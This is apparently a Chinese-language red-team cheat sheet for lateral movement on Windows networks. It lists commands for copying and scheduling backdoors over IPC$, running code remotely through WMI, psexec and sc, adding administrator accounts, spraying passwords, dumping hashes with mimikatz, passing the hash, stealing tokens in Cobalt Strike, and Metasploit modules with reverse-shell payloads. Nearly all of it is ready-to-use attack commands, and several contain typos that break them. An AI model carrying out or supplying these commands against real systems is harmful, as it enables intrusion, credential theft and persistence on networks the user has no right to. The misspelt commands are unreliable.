一、账号密码连接:

1. IPC连接:

利用前提:

  • 139,445开启,防火墙不阻止
  • 开启默认共享
  • 拥有本地或者域管账号

利用方式:

  1. 建立IPC连接
    连接域机器:net use \目标ip\ipc$”密码“ /user:domain\用户名
    连接工作组:net use \目标ip\ipc$”密码“ /user:用户名
  2. 复制文件(先上传到中转机器上):
    copy 中转机器路径 \目标ip\目标路径  #注:xcopy命令可以复制文件夹
  3. net user \目标ip /del /y  #断开IPC$连接
  4. net use \ip\lipc$ “” /user:””  #建立空连接

2. 计划任务执行

AT命令:

  1. 建立IPC$连接
    net use \目标ip\ipc$”密码“ /user:用户名
  2. 查看目标系统时间
    net time \ip
  3. 将后门文件拷贝到目标系统中
    copy 中转机器路径 \目标ip\目标路径
  4. 指定执行时间
    at \ip:时间 C:\windows\…(后门路径)

注意:

  • at \ip /delete /yes  #清除at记录
  • at \ip 15:33:36 cmd.exe /C “ipconfig” >C:/”1.txt” type \ip\C$\1.txt
    #读取命令执行之后的输出内容(type是读取文件命令)

Schtasks命令(win server2008及win7之后)

  1. 建立IPC$连接
    net use \目标ip\ipc$”密码“ /user:用户名
  2. 查看目标系统时间
    net time \ip
  3. 将后门文件拷贝到目标系统中
    copy 中转机器路径 \目标ip\目标路径
  4. 指定执行时间
    schtasks /CREATE /TN test /TR C:\windows(后门路径) /SC once /RU SYSTEM /ST 10:30 /S 目标ip /U 用户名 /P 密码   #运行一次

注意:chcp 437  #如果目标是中文系统,调整一下字符集

Sc命令(以服务方式上线)

  1. 建立IPC$连接
    net use \目标ip\ipc$”密码“ /user:用户名
  2. 将后门文件拷贝到目标系统中(后门要生成服务马)
    copy 中转机器路径 \目标ip\目标路径
  3. 配置服务且启动服务
    • sc \ip creat “test” binpath=”cmd /c 服务马路径
    • sc \ip start test”  //启动服务
    • sc \ip delete “test”  //删除服务

3.Wmi

(1)win系统自带:

  • 在远程系统上执行bat脚本
    wmic /node:ip /user:用户名 /password:密码 process call create bat路径
  • 在远程系统上执行单条命令
    wmic /node:ip /user:用户名 /password:密码 process call create “cmd.exe /c net user test1 123456 /add && net localgroup adminstrators test1 /add”
  • 在远程系统上运行exe文件
    wmic /node:ip /user:用户名 /password:密码 process call create “cmd.exe /c exe路径”

(2)WMIEXEC(半交互式shell)

https://github.com/rootclay/WMIHACKER
有命令回显执行方式
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1
无命令回显
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0
模拟shell模式
> cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"
文件上传-复制本机calc.exe到远程主机c:\calc.exe
> cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"
文件下载-下载远程主机calc.exe到本地c:\calc.exe
> cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"

(3)impackets wmi

Linux跨Windows常用,使用impackets wmiexec执行命令,有回显
https://github.com/SecureAuthCorp/impacket

  • python wmiexec.py -hashes 00032个0:hash值 domain/用户名@ip “whoami”

(4)MSF wmi

  • use exploit/windows/local/wmi
  • set rhost 目标ip
  • set smbuser 用户名
  • set smbpass 密码
  • set session 1
  • set payload windows/meterperter/reverse_tcp_uuid
  • set lhost 本地ip
  • set lport 本地端口号
  • exploit -j

4. PSEXEC

(1)  impacket自带的exe文件:

  • psexec \ip -u 用户名 -p 密码 cmd  #返回cmd终端
  • psexec \ip -u 用户名 -p 密码 -s cmd /c “query user”

(2) MSF psexec PTH

  • use exploit/windows/smb/psexec
  • set rhost 目标ip
  • set smbuser 用户名
  • set smbdimain 域名
  • set smbpass 00032个0:hash值
  • exploit

注:32个0起到hash占位作用

(3) MSF psexec PTH(命令执行模块)

  • use exploit/windows/smb/psexec_command
  • set rhost 目标ip
  • set smbuser 用户名
  • set smbdimain 域名
  • set smbpass 00032个0:hash值
  • set command net user
  • run

6. 密码喷射

注意:

  • 需要知道密码锁定策略防止把账号全锁定了(K386爆破)

步骤:

  1. 收集用户密码和用户字典
  2. crackmapexec smb ip -u ‘adminstrator’ -p ‘123456’ –pass-po

二、 PTH哈希传递

在不能拿到明文,只能拿到hash的时候可以考虑使用此方法
原理:NTLM认证过程中仅对比密码散列值是否相同,并不判断明文密码是否一致

1. MSF PTH smb登录模块

  • use auxiliary/scanner/smb/smb_login
  • set rhost ip
  • set USER_FILE /root/Desktop/user.txt
  • set PASS_FILE /root/Desktop/passwd.txt(hash)
  • set smbdomain 域名
  • run

2. CME PTH

CrackMapExec
https://github.com/Porchetta-Industries/CrackMapExec
windows下建议使用编译好的版本
官方文档:https://wiki.porchetta.industries/

3. KALI自带的PTH攻击脚本

pth-winexe -U 用户名%00032个0:hash值 //ip cmd.exe

4. minikatz PTH

  1. 使用管理员权限获取hash
    minikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit” > info.txt
  2. hash传递
    minikatz.exe “privilege::debug” “sekurlsa::pth /user:用户名 /domain:域名 /ntlm:hash值”

5. CS hash传递

  1. 如果已经拿到shell,快速获取hash
    • getuid
    • powershell-import D:\test\get-passhashes.ps1
    • powershell get-passhashes
  2. 借助minikatzhash传递
    minikatz sekurlsa::pth /user:用户名 /domain:域名 /ntlm:hash值 /run:”powershell -w hidden”
  3. 使用steal_token功能窃取刚刚进程的令牌
    • steal_token 632
    • shell dir \ip\C$
    • rev2self(清除)